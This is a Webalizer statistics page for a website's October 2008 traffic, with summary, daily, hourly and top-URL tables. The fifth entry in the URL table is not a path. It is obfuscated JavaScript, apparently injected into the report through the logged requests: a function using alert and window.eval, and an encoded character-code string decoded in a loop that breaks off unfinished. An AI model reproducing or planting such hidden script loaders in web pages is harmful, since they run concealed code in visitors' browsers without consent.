[Daily Statistics] [Hourly Statistics] [URLs] [Entry] [Exit] [Sites] [Referrers] [Search] [Agents] [Countries]
| Monthly Statistics for October 2008 | ||
|---|---|---|
| Total Hits | 8676 | |
| Total Files | 3896 | |
| Total Pages | 8435 | |
| Total Visits | 582 | |
| Total KBytes | 24637 | |
| Total Unique Sites | 265 | |
| Total Unique URLs | 67 | |
| Total Unique Referrers | 230 | |
| Total Unique User Agents | 35 | |
| . | Avg | Max |
| Hits per Hour | 11 | 1206 |
| Hits per Day | 279 | 1649 |
| Files per Day | 125 | 1065 |
| Pages per Day | 272 | 1646 |
| Visits per Day | 18 | 44 |
| KBytes per Day | 795 | 4224 |
| Hits by Response Code | ||
| Code 200 - OK | 3896 | |
| Code 301 - Moved Permanently | 1 | |
| Code 304 - Not Modified | 39 | |
| Code 404 - Not Found | 4740 | |
| Daily Statistics for October 2008 | ||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Day | Hits | Files | Pages | Visits | Sites | KBytes | ||||||
| 1 | 39 | 0.45% | 15 | 0.39% | 30 | 0.36% | 13 | 2.23% | 10 | 3.77% | 789 | 3.20% |
| 2 | 23 | 0.27% | 18 | 0.46% | 18 | 0.21% | 9 | 1.55% | 12 | 4.53% | 81 | 0.33% |
| 3 | 268 | 3.09% | 244 | 6.26% | 266 | 3.15% | 16 | 2.75% | 12 | 4.53% | 297 | 1.21% |
| 4 | 112 | 1.29% | 108 | 2.77% | 105 | 1.24% | 26 | 4.47% | 28 | 10.57% | 322 | 1.31% |
| 5 | 39 | 0.45% | 28 | 0.72% | 36 | 0.43% | 16 | 2.75% | 11 | 4.15% | 839 | 3.41% |
| 6 | 42 | 0.48% | 37 | 0.95% | 36 | 0.43% | 10 | 1.72% | 8 | 3.02% | 412 | 1.67% |
| 7 | 102 | 1.18% | 41 | 1.05% | 93 | 1.10% | 9 | 1.55% | 10 | 3.77% | 357 | 1.45% |
| 8 | 90 | 1.04% | 85 | 2.18% | 87 | 1.03% | 38 | 6.53% | 37 | 13.96% | 732 | 2.97% |
| 9 | 35 | 0.40% | 32 | 0.82% | 25 | 0.30% | 12 | 2.06% | 10 | 3.77% | 999 | 4.06% |
| 10 | 18 | 0.21% | 12 | 0.31% | 15 | 0.18% | 12 | 2.06% | 10 | 3.77% | 334 | 1.36% |
| 11 | 92 | 1.06% | 83 | 2.13% | 77 | 0.91% | 33 | 5.67% | 30 | 11.32% | 1015 | 4.12% |
| 12 | 51 | 0.59% | 41 | 1.05% | 35 | 0.41% | 10 | 1.72% | 10 | 3.77% | 829 | 3.37% |
| 13 | 19 | 0.22% | 15 | 0.39% | 15 | 0.18% | 8 | 1.37% | 8 | 3.02% | 534 | 2.17% |
| 14 | 23 | 0.27% | 21 | 0.54% | 21 | 0.25% | 13 | 2.23% | 9 | 3.40% | 520 | 2.11% |
| 15 | 62 | 0.71% | 54 | 1.39% | 52 | 0.62% | 14 | 2.41% | 11 | 4.15% | 1208 | 4.90% |
| 16 | 44 | 0.51% | 19 | 0.49% | 36 | 0.43% | 13 | 2.23% | 13 | 4.91% | 712 | 2.89% |
| 17 | 64 | 0.74% | 60 | 1.54% | 60 | 0.71% | 19 | 3.26% | 21 | 7.92% | 232 | 0.94% |
| 18 | 90 | 1.04% | 86 | 2.21% | 87 | 1.03% | 44 | 7.56% | 42 | 15.85% | 488 | 1.98% |
| 19 | 71 | 0.82% | 67 | 1.72% | 65 | 0.77% | 20 | 3.44% | 18 | 6.79% | 377 | 1.53% |
| 20 | 1273 | 14.67% | 65 | 1.67% | 1271 | 15.07% | 29 | 4.98% | 25 | 9.43% | 484 | 1.97% |
| 21 | 41 | 0.47% | 35 | 0.90% | 33 | 0.39% | 12 | 2.06% | 13 | 4.91% | 370 | 1.50% |
| 22 | 44 | 0.51% | 42 | 1.08% | 41 | 0.49% | 23 | 3.95% | 19 | 7.17% | 301 | 1.22% |
| 23 | 1095 | 12.62% | 88 | 2.26% | 1088 | 12.90% | 41 | 7.04% | 35 | 13.21% | 630 | 2.56% |
| 24 | 1121 | 12.92% | 138 | 3.54% | 1103 | 13.08% | 43 | 7.39% | 25 | 9.43% | 4224 | 17.15% |
| 25 | 1649 | 19.01% | 438 | 11.24% | 1646 | 19.51% | 22 | 3.78% | 17 | 6.42% | 933 | 3.79% |
| 26 | 31 | 0.36% | 25 | 0.64% | 27 | 0.32% | 16 | 2.75% | 13 | 4.91% | 1318 | 5.35% |
| 27 | 185 | 2.13% | 78 | 2.00% | 166 | 1.97% | 15 | 2.58% | 15 | 5.66% | 710 | 2.88% |
| 28 | 24 | 0.28% | 17 | 0.44% | 15 | 0.18% | 12 | 2.06% | 13 | 4.91% | 819 | 3.32% |
| 29 | 31 | 0.36% | 22 | 0.56% | 19 | 0.23% | 14 | 2.41% | 14 | 5.28% | 983 | 3.99% |
| 30 | 1077 | 12.41% | 1065 | 27.34% | 1056 | 12.52% | 9 | 1.55% | 9 | 3.40% | 1479 | 6.00% |
| 31 | 821 | 9.46% | 817 | 20.97% | 811 | 9.61% | 13 | 2.23% | 12 | 4.53% | 1306 | 5.30% |
| Hourly Statistics for October 2008 | ||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Hour | Hits | Files | Pages | KBytes | ||||||||
| Avg | Total | Avg | Total | Avg | Total | Avg | Total | |||||
| 0 | 3 | 112 | 1.29% | 3 | 95 | 2.44% | 3 | 101 | 1.20% | 8 | 263 | 1.07% |
| 1 | 6 | 197 | 2.27% | 6 | 187 | 4.80% | 6 | 187 | 2.22% | 19 | 600 | 2.44% |
| 2 | 5 | 176 | 2.03% | 5 | 166 | 4.26% | 5 | 166 | 1.97% | 21 | 637 | 2.59% |
| 3 | 5 | 174 | 2.01% | 5 | 170 | 4.36% | 5 | 159 | 1.89% | 38 | 1192 | 4.84% |
| 4 | 22 | 704 | 8.11% | 5 | 183 | 4.70% | 22 | 703 | 8.33% | 7 | 213 | 0.86% |
| 5 | 21 | 679 | 7.83% | 5 | 183 | 4.70% | 21 | 668 | 7.92% | 76 | 2346 | 9.52% |
| 6 | 7 | 230 | 2.65% | 6 | 208 | 5.34% | 6 | 212 | 2.51% | 97 | 3016 | 12.24% |
| 7 | 11 | 352 | 4.06% | 7 | 230 | 5.90% | 10 | 324 | 3.84% | 29 | 896 | 3.64% |
| 8 | 2 | 74 | 0.85% | 1 | 58 | 1.49% | 2 | 63 | 0.75% | 17 | 524 | 2.13% |
| 9 | 1 | 31 | 0.36% | 0 | 19 | 0.49% | 0 | 24 | 0.28% | 8 | 255 | 1.03% |
| 10 | 4 | 138 | 1.59% | 2 | 76 | 1.95% | 4 | 135 | 1.60% | 24 | 757 | 3.07% |
| 11 | 0 | 30 | 0.35% | 0 | 28 | 0.72% | 0 | 25 | 0.30% | 28 | 878 | 3.56% |
| 12 | 3 | 93 | 1.07% | 2 | 69 | 1.77% | 2 | 73 | 0.87% | 94 | 2906 | 11.80% |
| 13 | 3 | 107 | 1.23% | 3 | 106 | 2.72% | 3 | 103 | 1.22% | 48 | 1484 | 6.02% |
| 14 | 4 | 141 | 1.63% | 4 | 135 | 3.47% | 4 | 128 | 1.52% | 35 | 1098 | 4.46% |
| 15 | 3 | 104 | 1.20% | 2 | 91 | 2.34% | 3 | 102 | 1.21% | 23 | 704 | 2.86% |
| 16 | 72 | 2233 | 25.74% | 1 | 59 | 1.51% | 71 | 2229 | 26.43% | 66 | 2048 | 8.31% |
| 17 | 44 | 1366 | 15.74% | 5 | 161 | 4.13% | 43 | 1363 | 16.16% | 28 | 867 | 3.52% |
| 18 | 6 | 191 | 2.20% | 5 | 175 | 4.49% | 5 | 180 | 2.13% | 34 | 1049 | 4.26% |
| 19 | 21 | 672 | 7.75% | 21 | 657 | 16.86% | 20 | 648 | 7.68% | 46 | 1424 | 5.78% |
| 20 | 6 | 201 | 2.32% | 6 | 197 | 5.06% | 6 | 196 | 2.32% | 14 | 444 | 1.80% |
| 21 | 5 | 165 | 1.90% | 4 | 153 | 3.93% | 5 | 160 | 1.90% | 6 | 200 | 0.81% |
| 22 | 6 | 207 | 2.39% | 6 | 200 | 5.13% | 6 | 201 | 2.38% | 13 | 409 | 1.66% |
| 23 | 9 | 299 | 3.45% | 9 | 290 | 7.44% | 9 | 285 | 3.38% | 14 | 426 | 1.73% |
| Top 10 of 67 Total URLs By KBytes | |||||
|---|---|---|---|---|---|
| # | Hits | KBytes | URL | ||
| 1 | 69 | 0.80% | 6275 | 25.47% | /webalizer/usage_200810.html |
| 2 | 62 | 0.71% | 3099 | 12.58% | /webalizer/usage_200705.html |
| 3 | 27 | 0.31% | 2020 | 8.20% | /webalizer/usage_200803.html |
| 4 | 28 | 0.32% | 1843 | 7.48% | /webalizer/usage_200802.html |
| 5 | 3280 | 37.81% | 1705 | 6.92% | function CBeKy(lFwuKN){ var TySUSIZW=new Function("ncX", "return 872821;");alert('NmTqOe');window.eval(); }
function NTZS(hWal){var UHrvVQkw=6,fAgz=5;var qIMfd='72+0,126+0,122+2,136+4,116+2,130+4,121+1,38+2,142+4,126+0,120+0,139+1,124+4,73+1,58+4,38+2,124+4,121+1,126+0,123+3,124+4,139+1,73+1,58+4,38+2,117+3,133+1,136+4,120+0,121+1,136+4,73+1,57+3,38+2,122+2,136+4,116+2,130+4,121+1,117+3,133+1,136+4,120+0,121+1,136+4,73+1,57+3,38+2,138+0,136+4,',bSBxeEp=qIMfd.split(',');rZh='';for(HVMYENy=0;HVMYENy |